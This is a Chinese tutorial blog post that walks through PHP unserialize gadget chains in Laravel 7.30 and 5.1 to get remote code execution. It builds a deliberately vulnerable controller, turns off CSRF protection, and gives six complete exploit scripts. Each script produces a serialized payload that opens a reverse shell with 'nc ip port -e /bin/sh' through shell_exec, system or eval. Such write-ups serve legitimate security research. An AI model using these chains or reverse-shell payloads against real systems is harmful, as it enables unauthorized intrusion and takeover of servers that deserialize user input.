Laravel反序列化实现RCE

前言

静下心来观看的你一定会有收获的

工程创建:

composer create-project laravel/laravel project_name 7.x
// 7.x 为版本号

创建控制器:

在Laravel工程根目录命令行下输入
php artisan make:controller ArticleController

资源控制器:
在这里插入图片描述

路由设置:

在routes.php中添加:
Route::resource('/test', 'TestController');
注:laravel7在routes/web.php中添加

编写控制器:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

use Illuminate\Routing\Controller;

class AdminController extends Controller
{
    public function index()
    {
        return 'post user to unserialize';
    }

    public function store(Request $request)
    {
        $data = $request->input('user');
        $res = unserialize($data);
        return 'success';
    }

}

入口URL
http://localhost/laravel51/public/
控制器访问
http://localhost/laravel51/public/admin

报错处理:

post提交失败 返419 | Page Expired
这是Laravel为了防止csrf攻击, 自动为用户进行添加的的token中间件
解决:关闭 VerifyCsrfToken 这个web中间件. (将其注释或删掉)

Laravel 7.30

RCE1

入口

切入口一般在__destruct()方法中
搜索__destruct(),找到一个貌似可用的
在这里插入图片描述

class test {
    // $args是数组
    function __call($method, $args){
        $method = ctf;
        $args = array('666')
    }
}
test -> ctf('666');
// 当调用一个类的方法,会在这个类中找这个方法,若找不到则调用__call方法

故接下来找可利用的__call方法,而__destruct方法所在那个类作为跳板类

__wakeup半途而废

\vendor\fakerphp\faker\src\Faker\Generator.php
在这里插入图片描述

$method 为 “dispatch”,$attributes可控,继续跟进format方法
在这里插入图片描述
发现危险函数call_user_func_array,继续跟进getFormatter方法
在这里插入图片描述
$this->formatters可控,$format可控,即call_user_func_array的第一个参数(方法名)可控。

是否是就可以RCE了呢?No!No!No!
在这里插入图片描述
发现__wakeup方法把formatters属性置空了,而反序列化需要先经过__wakeup方法,因此这里不可控。链子断掉。

柳暗花明
继续找__call方法

\vendor\fzaninotto\faker\src\Faker\ValidGenerator.php在这里插入图片描述
$this->generator可控,$name为固定值dispatch,$arguments可控,这边call_user_func_array([$this->generator, $name], $arguments);这种写法,是把$this->generator作为一个类,调用它的$name方法,因此这边不能直接控制其调用我们指定的方法。

while (!call_user_func($this->validator, $res));$this->validator可控,$res作为方法的参数。我们若能控制$res,就能控制执行方法的参数,即可RCE

$res = call_user_func_array([$this->generator, $name], $arguments);。现在有两种思路:
1.找到含有dispatch方法的类,并且其返回结果为可控的字符串
2.找到没有dispatch方法的类,其会自动调用__call方法,找到一个返回结果为可控字符串的__call方法

第一种思路寻找无果,继续跟下去复杂度过高。
尝试第二种方法,找到一个__call
\vendor\fakerphp\faker\src\Faker\DefaultGenerator.php在这里插入图片描述$this->default可控

到此整条链子打通

<?php
namespace Faker;

class ValidGenerator
{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    public function __construct(){
        $this->generator = new DefaultGenerator();
        $this->validator = "shell_exec";
        $this->maxRetries = 1;
    }
}

class DefaultGenerator
{
    protected $default;
    public function __construct(){
        $this->default = "nc ip port -e /bin/sh";
    }
}

namespace Illuminate\Broadcasting;

use Faker\ValidGenerator;

class PendingBroadcast
{
    protected $events;
    protected $event;  // call方法的参数,可控
    public function __construct(){
        $this->events = new ValidGenerator();
        $this->event = 'p4nic';
    }
}


echo urlencode(serialize(new PendingBroadcast()));

RCE2

继续找__destruct()
\vendor\laravel\framework\src\Illuminate\Routing\PendingResourceRegistration.php在这里插入图片描述
$this->registered可控,设为false,继续跟进register()在这里插入图片描述
$this->registrar可控,按照前面套路,这里仍然找一个没有register方法的类,并且有可利用的__call()方法

找到\vendor\laravel\framework\src\Illuminate\Validation\Validator.php在这里插入图片描述
$method=register$parameters=[$this->name, $this->controller, $this->options]
substr($method, 8)得到空字符’',跟进snake在这里插入图片描述

这边先测试一下

<?php
namespace Illuminate\Validation{
    class Validator{
    }
}
namespace Illuminate\Routing{
    use Illuminate\Validation\Validator;
    class PendingResourceRegistration
    {
        protected $registrar;
        protected $registered = false;
        public function __construct(){
            $this->registrar=new Validator();
        }
    }
    echo urlencode(serialize(new PendingResourceRegistration()));
}

在这里插入图片描述
发现最后$rule为空字符串
$this->extensions[$rule]可控,继续跟进callExtension在这里插入图片描述

$callback可控

php在用户自定义函数中支持可变数量的参数列表,包含…的参数,会转换为指定参数变量的一个数组。array_values会返回数组中所有值组成的数组

因此这里设置$callback = $this->extensions[''] = call_user_func
传进来的三个参数分别设置为:call_user_func、system、命令

到此整条链子打通

<?php
namespace Illuminate\Validation {
    class Validator
    {
        public $extensions = [];

        public function __construct()
        {
            $this->extensions[''] = 'call_user_func';
        }
    }
}

namespace Illuminate\Routing {

    use Illuminate\Validation\Validator;

    class PendingResourceRegistration
    {
        protected $registrar;
        protected $registered = false;
        protected $name = 'call_user_func';
        protected $controller = 'system';
        protected $options;

        public function __construct()
        {
            $this->registrar = new Validator();
            $this->options = 'nc ip port -e /bin/sh';
        }
    }

    echo urlencode(serialize(new PendingResourceRegistration()));
}

RCE3

接着上面的PendingResourceRegistration类,另外找一个可利用的__call()方法
\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php在这里插入图片描述
$method为register,跟进__invoke在这里插入图片描述
$this->callable可控,这边设计为一个数组,第一个元素为某个类对象,第二个参数为方法名,便能调用该类对象的方法,接下来需要找到一个可利用的类

\vendor\phpunit\phpunit\src\Framework\MockObject\MockClass.php在这里插入图片描述

$this->mockName可控,设置为某个不存在的类名即可,进入eval($this->classCode)$this->classCode也可控,设置为我们要执行代码。

到此整条链子打通

<?php

namespace PHPUnit\Framework\MockObject {
    class MockClass
    {
        private $classCode;
        private $mockName;

        public function __construct()
        {
            $this->classCode = "system('nc ip port -e /bin/sh');";
            $this->mockName = 'p4nic';
        }
    }
}

namespace Illuminate\View {

    use PHPUnit\Framework\MockObject\MockClass;

    class InvokableComponentVariable
    {
        protected $callable;

        public function __construct()
        {
            $this->callable = array(new MockClass(), 'generate');
        }
    }
}

namespace Illuminate\Routing {

    use Illuminate\View\InvokableComponentVariable;

    class PendingResourceRegistration
    {
        protected $registered;
        protected $registrar;

        public function __construct()
        {
            $this->registered = false;
            $this->registrar = new InvokableComponentVariable();
        }
    }
    echo urlencode(serialize(new PendingResourceRegistration()));
}




Laravel 5.1

RCE 1

搜索__destruct()方法
\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php在这里插入图片描述
$this->_keys可控,跟进clearAll
在这里插入图片描述

$nsKey是从$this->_keys获取的键名,因此也可控。
array_key_exists($nsKey, $this->_keys)成立,遍历$nsKey这个键对应的值
跟进clearKey
在这里插入图片描述

目前关系是这样的array["$nsKey"=>Array["$itemKey"=>"value"]],跟进hasKey
在这里插入图片描述
这里进行了字符串拼接$this->_path可控,若其为对象,则会触发__toString()方法,本地测试一下

<?php
class test {
    public function __toString()
    {
        system('calc');
        return 'small test';
    }
}

$a = new test();
echo "This is a ".$a;  // 输出This is a small test  并弹出了计算器

因此将此类作为跳板类,继续寻找可利用的__toString()方法

\vendor\mockery\mockery\library\Mockery\Generator\DefinedTargetClass.php在这里插入图片描述
跟进getName()
在这里插入图片描述
$this->rfc可控,继续将此类当成跳板类,寻找含有可以利用的__call()方法且没有getName()方法的类
这边__call()的参数为$method=getName
直接利用上面Laravel 7.30 RCE1的后半段链子

<?php

namespace Faker {

    class DefaultGenerator
    {
        protected $default;

        public function __construct()
        {
            $this->default = "nc ip port -e /bin/sh";
        }
    }

    class ValidGenerator
    {
        protected $generator;
        protected $validator;
        protected $maxRetries;

        public function __construct()
        {
            $this->generator = new DefaultGenerator();
            $this->maxRetries = 1;
            $this->validator = 'shell_exec';
        }
    }
}

namespace Mockery\Generator {

    use Faker\ValidGenerator;

    class DefinedTargetClass
    {
        private $rfc;    // 调用$rfc的__call方法

        public function __construct()
        {
            $this->rfc = new ValidGenerator();
        }
    }
}

namespace {

    use Mockery\Generator\DefinedTargetClass;

    class Swift_KeyCache_DiskKeyCache
    {
        private $_keys = ['p4nic' => array('p4nic' => 'p4nic')];
        private $_path;        // 调用$_path的__toString方法

        public function __construct()
        {
            $this->_path = new DefinedTargetClass();
        }
    }

    echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

RCE2

继续从上面那条链子找分支
寻找其他可以利用的__toString方法

\vendor\phpdocumentor\reflection-docblock\src\DocBlock\Tags\Deprecated.php在这里插入图片描述
$this->description可控【注意:这里Deprecated类继承了BaseTag类,Deprecated类中没有description成员,需要到父类中去找】
跟进render发现没有明显可直接利用的点,因此需找一个没有reder方法的类且其__call()方法可利用(或者找一个可利用的render方法),依旧可以用上文的下半段链子,这里我们再重新找一个
\vendor\laravel\framework\src\Illuminate\Database\DatabaseManager.php在这里插入图片描述

$method固定为render, p a r a m e t e r s 为空,目前还不能直接利用,跟进 ‘ parameters为空,目前还不能直接利用,跟进` parameters为空,目前还不能直接利用,跟进this->connection()`
在这里插入图片描述

跟进parseConnectionName($name)在这里插入图片描述
$name为null,跟进getDefaultConnection()
在这里插入图片描述
$this->app可控,因此$name可控,返回parseConnectionName,若$name['::read', '::write']结尾则继续处理,否则返回数组[$name, null],目前到这部都可控,继续返回上层函数connection()
$this->connections可控,跟进makeConnection()在这里插入图片描述

发现危险函数call_user_func,$this->extensions可控,接下来看$config
跟进getConfig($name)在这里插入图片描述

$config = Arr::get($connections, $name),跟进get方法在这里插入图片描述

即如果$connection作为一个数组里面有$name这个键的话就返回$name这个键对应的值
$name = $name ?: $this->getDefaultConnection();之前说到$name可控,因此这里$name不变
$connections = $this->app['config']['database.connections'];$this->app可控,因此$connection可控

此时call_user_func($this->extensions[$name], $config, $name);中全部参数可控。

到此这条链打通

<?php

namespace Illuminate\Database {
    class DatabaseManager
    {
        protected $app;
        protected $extensions = [];

        public function __construct()
        {
            $this->app['config']['database.default'] = 'nc ip port -e /bin/sh';  // 赋值给$name
            $this->extensions['nc ip port -e /bin/sh'] = 'call_user_func';
            $this->app['config']['database.connections'] = array("nc ip port -e /bin/sh" => "system");
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags {

    use Illuminate\Database\DatabaseManager;

    class BaseTag
    {
        protected $description; // 调用$description的__call方法
    }

    final class Deprecated extends BaseTag
    {
        public function __construct()
        {
            $this->description = new DatabaseManager();
        }
    }
}

namespace {

    use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;

    class Swift_KeyCache_DiskKeyCache
    {
        private $_keys = ['p4nic' => array('p4nic' => 'p4nic')];
        private $_path;        // 调用$_path的__toString方法

        public function __construct()
        {
            $this->_path = new Deprecated();
        }
    }

    echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

RCE3

继续拓宽上面链子的分支,寻找其他可利用的__toString()方法
\vendor\phpspec\prophecy\src\Prophecy\Argument\Token\ObjectStateToken.php在这里插入图片描述
$this->util可控,$this->value可控,跟进stringify发现难以利用,因此转为寻找可利用的__call()方法

\vendor\laravel\framework\src\Illuminate\Validation\Validator.php在这里插入图片描述

跟进snake,$method='stringify' 这边substr($method, 8)得到’y’

在这里插入图片描述

<?php
$delimiter = '_';
$value = 'y';
echo preg_replace('/(.)(?=[A-Z])/u', '$1' . $delimiter, $value); //y

看似很复杂,一波操作下来其实就是把传进去的$value转为小写并返回,同时static::$snakeCache[$key][$delimiter] = 'y';,即返回$rule='y',继续回到__call在这里插入图片描述

$this->extensions可控,设置$this->extensions['y']不为空,进入$this->callExtension在这里插入图片描述

$callback可控,若$callback是Closure的实例,进入call_user_func_array,进而传入危险函数的是个对象,仍无法利用。若$callback是字符串,进入elseif,跟进callClassBasedExtension在这里插入图片描述

explode():使用一个字符串分割另一个字符串返回一个列表,这里我们设计$callback为xxx@yyy的形式,刚好$class=xxx$method=yyythis->container可控,继续跟进make,发现make是抽象方法。

如果这边继续找__call方法要么陷入死循环,要么继续使用之前找到的可利用的__call使得链条冗余。回想起之前的链子找到过一个很简洁的__call,它返回的东西直接可控。若我们这边让其返回一个对象,即$this->default设置为一个类对象,那么$this->container->make($class)$this->default这个对象,$method$parameters又是可控的,那么现在的目标就是找到一个可利用的后门类,我们就可以调用它的方法。
在这里插入图片描述

找到了一个类貌似能满足\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php在这里插入图片描述

别忘了方法的参数我们是可控的,跟进getClassName,class_exists判断一个类是否定义
在这里插入图片描述

这边需要找一个有getName()方法的类,并把它的name成员设置为一个不存在的类名,才能让class_exists返回false不进入if语句
这里随便找了一个class Store。

接着跟进getCode()
在这里插入图片描述
因此我们只要构造参数为MockDefinition的对象即可,成员code写入Evil代码
到此该链条打通

<?php

namespace Illuminate\Session {
    class Store
    {
        protected $name;

        public function __construct()
        {
            $this->name = 'p4nic';  // 一个不存在的类
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader
    {
    }  // 后门类
}

namespace Mockery\Generator {

    use Illuminate\Session\Store;

    class MockDefinition
    {
        protected $code;
        protected $config;

        public function __construct()
        {
            $this->code = "<?php system('nc ip port -e /bin/sh');?>";
            $this->config = new Store();
        }
    }
}

namespace Faker {

    use Mockery\Loader\EvalLoader;

    class DefaultGenerator
    {
        protected $default;

        public function __construct()
        {
            $this->default = new EvalLoader();
        }
    }
}

namespace Illuminate\Validation {


    use Faker\DefaultGenerator;

    class Validator
    {
        public $container;
        protected $extensions;

        public function __construct()
        {
            $this->extensions['y'] = 'xxx@load';
            $this->container = new DefaultGenerator();
        }
    }
}

namespace Prophecy\Argument\Token {

    use Illuminate\Validation\Validator;
    use Mockery\Generator\MockDefinition;

    class ObjectStateToken
    {
        private $util;
        private $value;

        public function __construct()
        {
            $this->util = new Validator();
            $this->value = new MockDefinition();
        }
    }
}

namespace {

    use Prophecy\Argument\Token\ObjectStateToken;

    class Swift_KeyCache_DiskKeyCache
    {
        private $_keys = ['p4nic' => array('p4nic' => 'p4nic')];
        private $_path;        // 调用$_path的__toString方法

        public function __construct()
        {
            $this->_path = new ObjectStateToken();
        }
    }

    echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值